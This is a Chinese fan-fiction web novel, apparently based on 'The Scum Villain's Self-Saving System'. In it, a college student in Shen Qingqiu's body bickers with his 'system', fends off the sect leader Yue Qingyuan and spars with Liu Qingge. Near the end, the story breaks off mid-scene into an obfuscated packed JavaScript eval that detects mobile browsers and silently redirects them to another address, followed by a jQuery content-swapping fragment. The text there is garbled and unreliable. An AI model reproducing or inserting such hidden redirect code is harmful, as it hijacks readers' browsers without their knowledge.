“宿主!!!”“别玩了!!!”“该干活了!!!”“宿主!你崩人设了!ooc了知道吗!!”“宿主!原主清冷淡漠的脸要被你丢尽了!”“宿——主—主!!!” 系统已经喊破了喉咙,都无法制止跟傻子似的野猴子。这家伙满心满眼都是刚到手的新玩具,别说爱不释手,怕是连自己叫什么都不记得了! 只能说‘御剑飞升’实在是太过诱人,身为没有翅膀的人类,在得到仙剑认可后,御剑飞行于高空之上,都难以按耐激动之情。 沈清秋连着飞了几个时辰,愣是在天色深沉黝黑之后,才随便寻了个酒馆打尖。 着几碟小菜、并一壶温酒,沈清秋尝了一口独属于古代的‘原汁原味’,立刻开始怀念外卖……甚至觉得学校食堂其实还不错。 他不是广东人,尝不出食材的鲜和甜。吃惯了现代工艺的味精与辣椒,修真界的饭菜,实在是过于清淡无味了。 “系统。”沈清秋开始思考这款游戏能不能暂停,比如让他‘退游挂机’点个外卖什么的。 “宿主……系统要没电了……” “嗯?”沈清秋眨眨眼睛,有些不解。 从没听说新手指导、金手指外挂还需要充电的?!咋的,是指望他手搓几个电池出来吗? 那是不是还要找地方提炼一下锂离子、汞柱、硫酸之类的玩意? “宿主!!!你实在太令人不省心了!你知道为了制止你,我消耗了多少能量与你对话吗!!!” “……” 感情你的电量都用来唧唧歪歪了啊…… 请你学会闭嘴好吗? 他是大学生,又不是未成年,不需要系统老妈子啊…… 只是,要是系统没电了,还能让他回去现代吗? 若是回不去,他是不是要思考一下今后该怎么办? 别的不说,单一个‘吃’,他都不能适应。 民以食为天,虽说修真界存在‘辟谷丹’,可不能品尝美食,终究是失去了人生最大的乐事啊。 “怎么充电?” 沈清秋决定放弃思考未来,直接解决当下最急需的问题。 要么找到电源和插座,要么更换电池,活人还能被事给困着? “呜呜呜……”系统有些感动,极为人性化的模拟出哭腔,感叹自己的不孝子终于舍得听人话了。 “宿主,要么你将男主收在身边;要么完成主线或支线任务,这两点都能结算一部分‘剧情点’,为系统供能。” “OK”沈清秋表示理解。 男主相当于大号充电宝,任务点相当于各种可更换小电池。 要么将充电宝随时携带,要么就未雨绸缪,早早备上几块可更换电池。 只是男主明显是个大麻烦,在故事尚未拉开帷幕的时候,还是先搞几个任务点备着吧。 “系统,定位苍穹山的位置。” “好的宿主!”系统的机械音轻快而激动,若不是没有胳膊,恨不得立刻行个礼,表达自己‘使命必达’的信心: “宿主,定位已标注于地图上,您明早出发,中午就能到!” “很好。我已经开始期待后山的竹林了。” 第四章岳七与沈九到底怎么相处啊…… ooc预警:嘴碎系统+(伪)穿书沈九+白切黑掌门人岳七 ———— “宿主!为什么你会对扎头发、穿古装这么了解!” 系统有些震惊。 身为22世纪的大学生,为什么面对那么长的头发和那么繁杂的古装,青春大学生一点也不头疼啊!正常人不应该是压根搞不懂古人那繁杂的发型,闹出内衬外穿或者宽腰松腿的笑话吗? 他们不都是习惯于剪成短发,并且一个月剪一次不说,还要一天两次洗头吗? 原主的记忆也被屏蔽了啊,为啥他还能这么‘顺手’? “因为出过COS啊。” 沈清秋随手摸出一个发冠,对着铜镜正好后用玉簪固定,又拢了拢不太习惯的交领,大拇指与食指张开成‘八’字,抵着下巴,露出八颗牙的标准阳光笑容点点头: “劳资果然是天下第一帅。” “……” 系统表示:以人类男性的自来熟程度和自信程度来说……怎么不算呢……毕竟,就算是大腹便便的中年老大叔,也只会觉得自己充满魅力(呕~) “宿主,你今天要去见苍穹山掌门人,一定要多注意!” “嗯……这边好像歪了点……” “宿主!如果你被人发现了之后,很有可能会被丢到地牢里面,被对方各种搜魂、提取元婴的!” “嗯……这个配饰不错,但颜色不搭……” “宿主!!!你到底有没有听我讲话?你要去的地方有世间武力巅峰,有乞丐爬上掌门的朱重八翻版,还是主角接受磨难、日后一定会毁掉的试炼之所,一定不要ooc啊!” “劳资果然最帅……怎么看都帅到爆炸……这些零碎更称得劳资霸气十足啊……“ “宿主!宿主!!别玩了!!!”系统气的芯片都要过载了,要不是没有惩罚手段,实在是恨不得将沈清秋电成鸡窝头! “行了行了知道了,你不是没电了吗?怎么还这么能唠叨……啰啰嗦嗦跟个老妈子似的。” “……” 丫的,若不是系统没有实体,真的要被气出血梗脑血栓来! “宿主啊……你到底知不知道这个任务的困难程度?这可是一朝不慎,小命都要玩完呐!那一群人精里面,你一个连脑子都没有的大学生,你怎么活下来啊?” “你们只要一个对视,他们就会发现你的不对劲。然后你就会像一个猴子似的被他们围观、试探、算计。接着被丢入地牢,抽魂拷打,问你究竟是个什么存在!” “所以你一定要谨慎谨慎再谨慎。不让你ooc是就怕引起他们的注意,最后落得个灵魂泯灭啊!” “……”沈清秋停下自我欣赏的动作,伸出右手仔细研究纹路和结构: “游戏ai竟然能这么智能?” “就连一只手都能如此细化。” “要是被发现了,你会带我离开吧?” “AI逆转、反夺控制,都是小说里才会发生的事情吧?” 系统:…… 很好,他那过于疯狂跳脱的宿主,终于意识到了情况的不对劲,现在居然学会提问了! 只是为什么他的脑子里面永远都是在玩游戏,而意识不到他穿越到小说世界是真正的世界? 当初抹去记忆、填充资料的时候,到底都设定了什么样的过往和性格? 这前后差距……未免也过于离谱了吧? 性格由记忆和环境决定。 虚假的过往、宽松的环境—— 能否将格式化后的性格,彻底改换为阳光开朗? ———— “小……清秋师弟,你回来了。” “清秋师弟,这次任务艰巨,可有遇见危险?” “清秋师弟,此次可有记录风土人情,可愿讲于师兄听?“ “清秋师弟,柳师弟先你一步回来。下次若想出门,不妨带他一起,省得你过于劳累。” “清秋师弟......“ 敦厚的音腔,威严又不失慈爱的神情。克制守礼、细致体贴。得知沈清秋踏入苍穹地界,立刻丢去所有事物,出现在对方面前。 亲自为沈清秋接引带路,诉说修真界新发生的变故;极为自然的牵起沈清秋的手腕,输入灵气、探究是否受伤。 一举一动,都像极了古装片里负责教管子弟的‘长兄’。 或者说…… 甚至有些‘关注过头’了。 打在脸上的呼吸与潮意,与沈清秋略凉的体温相比停留在手腕的温热手指,以及眼底粘连拉丝的掌控欲。 这若是放在老人家身上,还勉强称得上是‘慈爱’。 可若是放在一个与自己年岁相似,以长兄相称的同龄人身上,这样的举动,未免过于‘贴近’‘亲昵’了些。 沈清秋生理性的打了个寒碜,后撤半步后甩脱对方牵着自己的右手,下意识用衣袖将手腕擦了又擦。 他不算是洁癖、社恐之人。 即便是室友之间抽混打闹,搂肩膀拍屁股偷袭?也干过不少。 可……如此近距离的接触……牵手腕……灵气入体后环绕几周…… 也过于‘暧昧’了点。 用现代的话就是,他还没有女朋友呢!咋能没事和其他同性手牵手?他又不是g.a.y! 沈清秋默默拉开与对方的距离,谨慎的盯着对方的举动,浑身写满‘抗拒’的同时脑子里开始疯狂质问系统: ‘系统,原主平日里怎么称呼对方?’ ‘……’系统有些沉默。 这个问题,还挺难说。 毕竟,沈清秋与岳清源,说不了三句的情况下,会怎么称呼对方? ‘换个问题,之前他们都怎么相处?’ ‘……’这,也很难评。 大概是,互不见面? 还是岳掌门想方设法找机会关怀,沈清秋能躲就躲? 丫的,这样一想更不正常了好嘛! ‘所以你把原主的记忆屏蔽掉,却又一点提示也不给?这像话吗!’ ‘……’系统难得的有点心虚。 虽然说搞定了掌门人,宿主的一切行为都会有人托底。 可。谁能告诉他,这个掌门人要如何搞定?! 这可是修真界的朱元璋! 眼界、心机、能力、掌控欲一个不缺;御下、对外、平衡、威势堪称满级。 这样一个从底层摸爬滚打爬上去的掌权人,要怎么样,才能‘瞒过他的眼睛’,让已经大变样的‘沈清秋’,免于牢狱之灾、猜测试探? ‘宿主——’系统有些迟疑的开口:‘你就不能,表现的——正常点?’ ‘正常!’沈清秋有些应激:‘你告诉我什么叫正常!’ 他就像只被激怒的猫,全身炸毛不说,还满是低沉的怒吼: ‘正常的掌门人会因为某个峰主外出而专门出来‘逮人’吗?正常的兄长会露出这般‘失望’甚至说‘哀怨’的眼神吗!正常的男人之间会先‘牵个手’,‘渡个灵气’吗?!’ ‘这不是我‘不正常’,是对方存在问题!’ ‘你仔细研究他的站位,永远在我左侧后半步。分明是他在引导我走路,却为何要落在我的后侧?’ ‘而且这不是清静峰的方向,更不是穹顶峰议事堂的方位!’ ‘他要带我去哪?若我停下或步伐慢上一点,对方只需右手伸展或右腿轻轻踢起,就能像拎只鸡崽子一样将我控在地上!’ ‘……’系统有些喏喏,若是拟人,大概也要咽几口唾沫缓解紧张的程度。 沈清秋之前都是为所欲为、懒得开口的,现在却在遇见掌门人的一刻钟内,成了歇斯底里‘嘶吼’的...骂战与吐槽? 那么... 系统提出非常合理的见解:‘宿主,你被发现了?’ ‘我哪知道?我与他只是一个照面!’沈清秋极为不耐,眼间满是暴躁与警惕,眉头紧锁,时刻防着对方翻脸暴起。 不知是他自己的情绪还是原主身躯的本能,他的手总是下意识的想去摸剑柄啊! 丫的,地狱开局,实在不行就卸载重装吧! 岳清源的声音犹在耳边,像是几十年没见到过似的,关心的话不重复的能说几个时辰。 终于,他像是发现了对方压根不回应的事实,开始发问: “清秋师弟怎么晃神了,是身体不舒服,还是心情不快?” 边说,边默默靠近,右手伸出,大有要一把将人拽着去医院看病的架势。 沈清秋左脚向右大跨一步,右脚快速跟上,左手格挡对方的动作,一个交叉步躲避对方的触碰。 岳清源无奈的停下了脚步,露出满是慈爱的微笑: “清秋师弟走那么远,且歇一歇。” 第五章九个鬼的九啊,他两的关系到底是什么发展 ooc预警:嘴碎系统+(伪)穿书沈九+平和包容黑芝麻馅岳七 ———— ‘来了!’ 陷入阴谋论的沈清秋与系统皆是心头一震。 沈清秋左手搭在修雅剑上,右手摸出一把折扇,右脚微微拉开半步,全身紧绷,做好了战斗准备。 岳清源这家伙唧唧歪歪个不停,简直比系统还要老妈子。偏他所说句句都是关心之语,一时半会竟无法反驳。 现在对方停下脚步,又展露出一副要‘捉他去某地’的样式。 十有八九是发现了‘他’的不同,先言语上诱骗于他,接着将他打入地牢! 既然如此,反正都要动手,还不如沈清秋先把兵器准备好,也省得赤手空拳慌忙应对! 岳清源看着沈清秋的动作,视线从沈清秋右手转到对方脸上,忽的摇摇头笑了起来:“清秋师弟,这次出门,可是遇见了什么,听到了什么?” “?” 这个开展,有些令人费解啊。 本以为要直接开打。开局得罪掌门人,获得‘逃亡江湖’支线,‘恶毒夺舍’称号。 结果却—— 对方并不打算揭穿? “你什么意思?”沈清秋看着笑得有些瘆人的家伙,眉头紧皱。想半天也搞不懂对方究竟玩什么套路,干脆打直球。 大不了就干,不行就逃。 反正才刚刚开局,刷个机重启没有一点负担。 勇敢大学生,不怕困难! 岳清源转换了一下方向,温和的眸子里满是包容和笑意: “清秋师弟这次回来怎么对我敌意这么大?是不愿与师兄讲话,所以想转身离开吗?” ”清秋师弟的扇子可淬了毒?这是想将我毒哑,再也不能吵着你吗?” “……” 这人的态度怎么这样啊! 但,沈清秋忍不住看了折扇一眼,圆润的边缘泛着幽绿的光泽,好像……真的有毒? 只是…… 沈清秋已经很直球了,怎么对方比他更猛? 有什么能够比打算先出手为赢,结果却被对方发现、并指出来更尴尬? 脚趾都可以抠出三室一厅了…… ‘呼——’ 沈清秋深吸一口气。 反正都被发现了,他干脆将修雅剑抽出,换到右手。 “倒也没听到什么。” 说着,一剑劈出,将旁边的岩石切割为光滑的两半。 接着干脆利落的表明立场: “只是希望,岳掌门能离我远点,再远点。” 两人对视。 一面色威严,却眼含无奈。 一容颜俊美,却满是暴躁。 无言的气场悄然成形,连空气,都为之停息。 日头随着天色而逐渐攀升。 两人之间的氛围却越发冷冻凝结。 沈清秋的表现绝对算不上‘谨遵人设’,掌门人的眼睛也绝对不瞎。 一个能接到对方回来的通知、亲自下山迎接的‘兄长’,其关系也绝对不可能不好。 所以,是直接开打,还是试探再打? 以对方展现出来的样子来看,怕是要被丢入地牢,抽魄招魂,寻回‘原主’才是。 就在系统以为双方要开打,收拾好辞职报告准备逃离之时。 岳清源轻轻的笑了。 他身上的威势像是一瞬间被收拢,整个人平和得像是邻家大哥哥。笑容温和而真诚,像是无限包容不听话的弟弟般,夸赞道: “小九好久没有这么情绪外露了。” “既然是小九的意思,七哥自然要‘听从’的。” “……”沈清秋的脸色越发冷硬,捏着剑柄的手‘咯吱’作响,若不是对方始终未拿出兵器,他真的要忍不住一剑刺过去了! 神tm的‘情绪外露’,‘要听从’啊! 这家伙的意思是他想的意思吗?这两人之间到底是师兄弟关系,还是‘干兄弟’关系?! 谁家长兄会对幼弟如此关心,甚至恨不得盘问每一个遇见的人啊! 他不会是情感泛滥到博爱众生吧? 这不是一本正常的起点向龙傲天文吗,为何掌权人却看起来就像是从女频拉过来客串一样? 尤其是,九个鬼的九啊,之前不是还喊‘清秋’师弟吗,怎么现在却一边笑得瘆人一边深情款款的喊‘小九’,说‘七哥要听从’? 你最好离我远点啊,要不然我真的会犯上杀兄、夺你掌门之位的! 就在沈清秋无尽吐槽的时候,岳清源眼底的过度关心开始慢慢转化为控制欲。 他主动退后三步,表情平和而慈爱,满脸都写着‘无奈却无可奈何’。 眼底翻滚的各种情绪逐渐平息,最后化为能吞噬一切光线的黑暗。 嘴角拉起一个有些苦涩和安抚的笑容,完美诠释了什么叫‘不理解但尊重’。 最后,一步步消失在沈清秋面前。 ‘呼——’系统紧提着的气终于松下去了,它忍不住的发出感慨:‘宿主,你这应变能力很强啊!’ ‘呵——’ 沈清秋冷笑一声,大咧咧的坐在被自己切割出来的岩石上。 ‘心机深沉,却对原主充满愧疚。’ ‘满心补偿,却不得其法。’ ‘处处包容,却掩不住控制之心。’ ‘口头说着听从,实际却牢牢占据大义。’ ‘这样一个‘掌门师兄’。想必在他掌控之下,这苍穹山的水,很深啊。’ 系统:…… 宿主啊!既然你都觉得水很深了,能不能不要开局就得罪对方啊! 一个拥有掌门权势的师兄,只要稍微打好关系,日后想要办什么事情不都是洒洒水的事吗? 为什么你却非要开局就引起对方注意,并且还要求对方离你远点,甚至差点打上一架? 虽说系统不知道要如何才能正确破局。 但肯定不是宿主这种硬碰硬的办法。 还好对方对原主的包容性极强,要不然他现在就将辞职信递交给主系统,让宿主自个去地牢发烂发臭去吧! 至于一开始说的‘玩不好回现代?’ 当然是忽悠清纯大学生的! 他本就是这个世界的人,被洗去记忆后塞入一段现代过往而已,哪有‘来路’可回? 若当真暴露,大不了‘恢复记忆’,让他融合记忆后自生自灭! ———— ‘系统。’ 沈清秋看着新开的地图,要求外挂帮助: ‘给我一份全宗门的地图,我要知道这是哪里,如何回去。’ ‘还有全宗门的人物关系图,最好详细到谁与谁是联姻关系,谁与谁存在生死大仇或知音知己。’ 这些基础内容,都是开局就要了解的。 想要玩三国杀,首先要知道自己的地盘和对方的地盘。其次,要知道自己都有哪些卡牌,他们分别有哪些属性、能为自己提供什么样的buff加成。 而这其中,人物关系是必须要搞懂的。 你不能够将两个有仇的人放到同一个地区,也不能将两个关系极为密切的人放到较远的距离。 前者会导致兵乱,后者容易引发造反。 用人之道,在乎守中。 ‘收到~’ 系统快速将情报打包,交给沈清秋。 苍穹山十二峰,原主占据地位第二的清静峰,文以载道,综合实力还算强劲。 最令沈清秋欣慰的是,原主的大弟子实在是个好用的管家。 上能解决沈清秋提出的一切需求;下能管束教导弟子,镇压宵小。对外能确认需求、协调诸峰关系;对内公平严谨,一切有理有据,从不出错。 有这样的谋士—— 得之可尽情摆烂啊! 故而……沈清秋毫不犹豫的,将明帆定为内定首席,并为他打上n多的鸡血,鼓励他好好干活。 ‘宿主……’系统有些看不下去。沈清秋原本有这么懒吗?还是说大学生的本色就是偷闲? ‘你懂什么。我这是在替他提升专业技能,能者多劳!’ 沈清秋念念有词:‘你没看见我跟他发布任务的时候,他眼睛都亮了。这说明了我对他的重视,知道不?’ ‘对于他们这种人来说,他只觉得任务不够多;任务越重,越说明领导对他的重视程度越高。越容易做出成绩,拿到高评价。’ ‘再说了,我又不是不给钱。’ ‘除了大弟子应该的份例,我份例、库房里不喜欢的,不全给了他?’ ‘有事做、有钱拿。有权力、有名头、有小弟。’ ‘他不得乐疯了?’ ‘……’系统无语。 头一次见让人干活,还能说得如此清新脱俗的。 不过……对方似乎也很满意。怎么不算周瑜打黄盖——一个愿打一个愿挨呢? ——碎碎念—— 七九最大的bug在于——岳七不可能不知道沈九发生了变化,可是他却从没有做什么。 所以,为了不ooc,也为了后续方便(后面想写黑化岳七与重生冰妹的对斗),岳七的定位就是—— 一位大局上尽量平衡,但一遇见沈九就忍不住头疼,偷偷摸摸给沈九开小灶,添法宝;最后关心异化为掌控欲,被逆反期的不孝子气得黑化成恨不得打断对方腿脚、关入家中的掌权人。 第六章八字不合的柳清歌 ooc预警:嘴碎系统+(伪)穿书沈九+直觉柳清歌 ———— 安排好一切,沈清秋终于如愿过上了退休生活。每日里闲云野鹤,逛街遛弯。 ‘宿主,今天打算去哪玩?’ ‘前几天路经山路的时候,我看到那边有几只兔子和野鸡,这等山味可不能错过。’ ‘……’系统忍不住泼冷水:‘宿主,你还记得塌陷了好几次的厨房吗?’ ‘咳咳——’沈清秋眼神有些闪躲。若不是搞出太多次炸房危机,他干嘛要去山窝里尝试? 他都选择山坳了,就不信还能被木头砸! …… 嗯。这次没被木头砸中。 只是……被熊熊烈火,包围了而已。 ‘呼滋——’‘唰啦——’‘咔嚓——’的火海瞬间升起,周围需几人合抱的大树沾染上赤红的颜色,又快速露出内部的黑色碳纤维。 ‘宿主!快用风系,不,水系法术啊!’ 沈清秋右手掐诀,脑子却突然间一片空白。像极了明明演练许久,上台却结结巴巴什么也讲不出来的教资面试。 该死的!跑! 沈清秋扫了一眼周围,快速选定一个方向,躲闪掉疯狂掉落的‘火叶’和‘碳枝’,拼命向外逃生。 ———— ‘呼——’‘唰啦——’ 漫天大火猛的升起,黑雾弥漫极快,几乎转瞬之间就成为一片红海。 妖艳的火焰中,似乎有道青白色的身影在努力狂奔? 本打算上山的青年立刻召唤水龙将大火熄灭,几个弹跳快速闪现到火海逃生的人影身边,将人捞出来。 待看清对方的脸,青年脸色瞬间下沉,厌恶爬满心头,手腕猛的发力,将对方‘丢’到一旁。简单又直率的话语讽刺意味拉满: “沈清秋,你又发什么神经?” 某个差点被烧死的家伙啷锵几下后站稳,脸上带着被人突然从地面拉上高处又甩向地面的震惊与莫名其妙。 若用现代话总结一下,就是‘他有病吧?’哪有人救人救到一半直接高空抛物的啊! 没被火烧死,也要因自由落体而磕伤! 青年御剑悬停于高空,看着被他从黑烟中拽出来、烟熏火燎得极为狼狈、当事人甚至还一副搞不清楚状况的样子,忍不住皱起眉头。 极快的违和感浮现又消失,疑惑不解全被反感压下,最后化为一句: 这家伙又作什么妖? “咳咳——” 沈清秋站稳后快速将袖子甩了甩,找了半天,寻到一处还算干净的布料,本欲擦干净脸,实际却将脸上涂得更花了些。 顶着花猫一样的脸和沾着碎叶的乱发,面色不虞的看着对方: “你在狗叫什么?” 他什么也没干!就是不太会烧火而已!对方居然说他发神经?怎的,是原主提不动刀,给他脸了吗?当真找打! 青年的眉头皱的更紧了,拳头握了又握,实在是看不下去那张大花脸。一连对着沈清秋施展几个清洁咒,开始带上怨怒的训斥: “你且看看身后,自家的地盘一点也不爱惜?” “啊咧?”沈清秋顺着对方的话语向后看,各种树木被烧成焦炭、某些因枝干倒塌而被树根拔起的深坑,以一个词语概括,那就是‘满目苍夷’…… “咳咳——”他悄咪咪的摸了摸衣袖,有点尴尬。对方说的,好像有点道理? 但是这人态度也太差了吧!以原主的地位来说,还有人敢这样‘对待’‘训斥’于他?这人什么身份?什么官职?比之掌门如何? ‘系统,他是那种老祖或长老吗?’ ‘呃’系统有些呆愣的顿了一下,想了想,回道:‘不是。’ 很好,得罪得起。 要知道,承认错误是件很丢人的事情,当着别人的面认错更是不可能的!所以—— 沈清秋毫不犹豫的嘴硬: “我只是在研究雷系和火系法术!这些……只是实验的一部分!” 青年:呵呵。 若不是我将你拽出来,估计得去千草峰探望吧。 ………… 战斗并没有打起来。 因为——山火烧出来的野味,真的太香了! 大自然的馈赠,绝对不能错过! “你看起来蛮大家公子,结果却会烧烤做饭?” 沈清秋看着重新‘弄干净、再次加热’的食材,表达了对厨子的满意。 “……” 青年面色复杂的看着沈清秋,眉头皱得能夹死蚊子。他本做好了与对方打一架的准备,却不料对方居然邀请他一起烤串? 只是这个厨艺,当真是一如既往的,让人不敢恭维。 “失心疯了?” 这是很离谱,却很有可能的开展。 一贯冷漠毒舌、刻薄孤僻的人,现在看起来却像是‘幼稚鲜活’至少年心性? 就像是走火入魔、失忆混沌、心智一瞬间退化般。 “喂!”沈清秋手上捏着对方给他烤好的兔腿,眼睛瞪得滚圆:“你会不会说话?这句话很欠打啊!” 若说岳清源是‘不想搭理’,眼前这个家伙,绝对是八字不合! ‘系统!他是谁,有什么弱点?’ 知己知彼,打架前要了解一下对方的情况。 以防,将不该得罪的人得罪了。 当然,得罪也无所谓,只是会麻烦一些。 ‘宿主,他是百战峰柳清歌。’系统原本想拦的,奈何宿主已经‘露馅’,就顺其自然吧。只是,该提醒的还是要提醒一下: ‘宿主,柳清歌武力值很高,您打不过他。’ ‘很能打?’ 沈清秋的关注点与系统截然不同,当他听到对方‘武力值高’的时候,想斗殴的心就按耐不住了。 哪个热血男儿,能耐得住对方的‘批评与训斥’,不与人切磋对打一番? “在你说‘我欠打’的时候,先把你嘴边的油擦一下。” 柳清歌的眉头已经皱成‘川’字,开始怀疑对方是走火入魔还是被人夺舍。 走火入魔,会导致心智退化、性情大变吗? 被人夺舍,还敢这么大大咧咧的表现不同、并且理直气壮的要求别人干活吗? 如此……毫不设防的与人接触,是生怕旁人分不清楚、不起疑心吗? 他是武痴,不是白痴。 对方如此异常,掌门竟毫无动作吗? “看剑!”沈清秋压根不管对方心里思考什么,随脚将场地‘清理’一下,从腰间将修雅剑拔出来。 他怕什么,一场游戏而已。 大不了玩崩了回去继续写论文。 此人既不是‘深藏老祖’,又不是‘荣养长老’。 那个姓岳的掌门都没意见,其他的小喽啰更不重要。 露馅不露馅的,NPC还能觉醒自主意识,发现外来者,继而掀起AI政变不成? 若是真这么‘智能’,大不了回现代就是咯~ 第七章武痴也是‘研究’生 ooc预警:嘴碎系统+(伪)穿书沈九+直觉柳清歌 ———— “喂!” 柳清歌听到拔剑声立刻警醒,这家伙性情大变就算了,怎得阴险无耻是刻在骨子里了么!前脚还笑嘻嘻的吃着他烤好的兔子,立刻就变脸持刀相拼? 好在他已经习惯了对方的变化无常,数年的厮杀经验使他快速侧身躲过对方平刺过来的一剑。‘镫’的一声用剑鞘抵开对方变招后平扫的一剑,并直接出击敲向对方手腕。 沈清秋偷袭不成,剑尖横点,快速逼近对方,下盘一脚踹出,虚晃一枪后转勾脚,将对方拉出半截的剑又压回去。 既然系统说原主‘打不过’对方,那就不能让对方手持兵器。 所谓‘公平’绝对不是平均,将对方擅长的限制住,以相同的武力值去对打,才是真正的‘平等’! 柳清歌以肩肘击打沈清秋踢过来的右腿膝盖,反手将对方的裤腿拽住向后推,趁他侧身之际右手以剑鞘击打对方后心。 既然对方摆定了不会让他‘出剑’,那他就让对方知道,即便不用剑,他也能将对方牢牢压制住! 电光石火之间,双方已知晓对方态度。 点到为止,以武会友。 喝酒能交友,为何吃喝比斗不能? 当‘沈清秋’放下以往过于急切的功利心之后,双方各自放开拳脚后的酣畅淋漓对打,本就是件乐事。 “嘿—”沈清秋借冲击力快速后退几步,修雅剑随手抛到一旁,左右手拍击后拉,右脚向前半丈成弓步,摆出迎战姿势。 过于兴奋的神情使他的面容看起来尽显少年风气,脸上满是棋逢对手的兴致。 对比于以往深沉冷漠、手段尽出也要赢的性情,现在完全不在乎输赢,只想畅快对打的样式,竟比柳清歌还要像武痴! “来来来,真男人向来是赤手空拳。所谓南拳北腿,你是南边来的?” “……” 柳清歌与沈清秋对打多次,还真没见过对方真正将他当成切磋对手的时候。 往日里,沈清秋要么手段尽出,试图将他彻底击垮;要么干脆潜藏埋伏,下黑手。 这么‘正式’的邀约对打,招招规矩端正、点到为止,完全放开到只想打得痛快—— 还真有点,令人不适应。 只是——若对方真的放下了对‘赢’的执念,武道,必有所进益。 柳清歌将乘鸾剑收起,放置一旁。右脚向前拉开半掌距离,拳头握紧,一手护颚,一手悬停于心口处。 是一个标准的散打姿势。 既然对方‘邀约’,双方也都是不在乎疼痛与输赢的人。 那就打吧。 大不了都去千草峰躺几天。 沈清秋以鞭腿为主要进攻手段,速度快、力量大,配上飘渺灵动的步伐,一击踢中,即刻令敌人失去还手之力。 柳清歌以重拳为出招重点,距离短、变化快,佐以扎实的武功基础,下盘极为沉稳,以不变应万变。 抛去兵器与术法,两人纯以武力对打,输赢五五对开。 当然,若论内力的深厚程度和稳扎稳打,柳清歌要更胜几筹。 ………… (总不能指望女频言情同人写手真写几千字对打吧) “不打了不打了。” 沈清秋大咧咧的坐在地上,喘着气夸赞:“哥们可以啊,这一架打的爽快!” “……” 盘腿调息的柳清歌看向对方的视线,已经从怀疑对方走火入魔到怀疑对方被夺舍,再到担忧对方吃错了药毁掉了脑子,最终心智退化。 ‘他’的行为举止看起来与之前大相径庭。 不仅是衣着习惯,待人接物。 就连对打之时的对招分寸,都发生了极大的改变。 快速、猛烈的对打之中,最容易激发人心底的戾气和烈性。 可即便如此,‘沈清秋’却从不曾多进一分。 这放在之前是绝对不可能的。 毕竟这家伙说了很多次要杀死自己,更埋伏、下黑手多次。 这么好的机会,没道理对方却‘放弃’了。 但若是细究之下,却又似乎极为相似。 某些似乎刻在骨子里的小动作,某些糟糕至极的习惯,某些仿佛怎么也改变不了的性情底色。 不像是一个人;却又在处处凸显是同一个人。 就像是——一个失去记忆后,重新认识一切的新生儿;或刻意伪装成另一人,却在某些时刻流露出本性的,双胞胎? 而且,若说这个人最像什么。大概是,像十几年前的,少年沈清秋? 总不能是少年心性的沈清秋割裂时空,附身于青年沈清秋,努力伪装。却又在大部分的时候,遮掩不住过于年少的心性和跳脱的思维? 如果是这样的话,还不如说是青年沈清秋受到刺激,心智一下退化至少年。 可,什么样的契机,能令人恢复成少年郎? 并且,即便是少年沈清秋,也不会如现在这般……阳光开朗? 此人身上,必有不为人知的事情要挖掘。 柳清歌的眼神越发复杂,各种阴谋论和推测涌现,却又被一条条划掉。 最后只留下对沈清秋的兴趣和探究。 ‘宿主!’ 相比较于压根没察觉到异常的沈清秋,脆弱的系统有些瑟瑟发抖。它自沈清秋与柳清歌对打时就在不停提醒,现在双方停战更是啰嗦不停: ‘宿主,你被人发现了!柳清歌现在看你的眼神像是要把你拔干净、分析透彻一般,你就不怕玩过火?他可是这个世界的巅峰战力,被盯上跑不掉的!’ ‘诶呀别说了,烦死了!’ 沈清秋恨不得将脑海中如蚊子般嗡个不停的系统丢出去,语气满是不在乎:‘大不了回去呗,玩游戏不就是为了爽?’ ‘宿主!’系统急的电路发烫,若不是没有电击、惩罚权限,实在是恨不得将不听话的宿主电上一电! 这家伙有时候怎么比它还无所谓?它是电子结构、毫无生命的系统,宿主可是真真正正的肉躯凡身,以身入局好吧! ‘行了行了,我现在就走还不行?’ 沈清秋从地上站起来,看着对方满是探究的神色,极为阳光的露出大笑,拍了拍对方肩膀,语气熟谙轻松:“哥们,下次再打啊!” 对方顺着沈清秋手掌看向自己肩膀,眼神一瞬间比之前更危险。 若说之前还只是‘试探’‘探究’,现在却是随时打算拿人了——当一个人对另一人感兴趣,并且武力值足够支撑他将对方擒拿的时候,抓起来研究一下,是非常顺手的事情。 ‘宿主!’系统的声音越发急促,若不是没手,简直要拽着他就跑了! 沈清秋终于感受到被人盯上的寒意,快速将手收回,右手掐诀,召唤飞剑。 他绝对不是怕系统,只是谁没事想听几千只鸭子呱呱叫? 而且这个叫‘柳清歌’的,明显眼神不对劲,说不定再待会就要去地牢几日游,他放着清静峰之主的身份不用,难不成要去地牢遛弯? 而且这个世界武力为尊,万一不小心玩脱了,赔里面就不好了! 第八章一堆人在笑着试探 ooc预警:嘴碎系统+伪穿书沈九+黑芝麻馅岳掌门 ———— ‘系统。’沈清秋将叠好的纸张铺满桌子,一张张研究着。 ‘你说,原主是个什么样的人?’ ‘啊?’系统的声音带着疑惑,不明白沈清秋怎么突然问起这个问题。 ‘从字形上来看,原主行笔刚劲有力,起承转合尽显锋芒。若是从整体来看,对仗工整、轻灵飘逸,每个字之间都有绝对的距离,绝不粘连。’ ‘这种人。生活处事皆在‘方框’中,拒绝‘出界’,更不喜与人亲近。’ ‘可若单论一件事、一个字来说,却又锋芒毕露,得理不饶人。’ ‘所谓‘木秀于林、风必摧之’。原主做事过于刚硬,不是讨人喜欢的性子。偏他又是个边界感、自控力极强的人,这就导致没有‘亲近’之人为他说话。’ ‘身处顺风还好,若是一着不慎,满盘皆输。最后还会落得无人搭救,连说好话调和的机会都不曾有的地步。’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382276|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系统:…… 你既然知道,为啥还能搞成那样? 分析头头是道,实践一塌糊涂是吧? 若是之后沈清秋‘恢复记忆’,回忆现在的自己‘一语中的’‘提前预判’,不知是会笑呢,还是会感叹呢? ‘宿主,你是不是无聊了。’ 系统一针见血。 在现代待过的人,不可能不想念现代的机械化、自动化。 前几天沈清秋还说想点外卖,想打游戏,这几天都无聊到翻看清静峰那一堆藏书了。 ‘是啊,哎,好无聊。’ 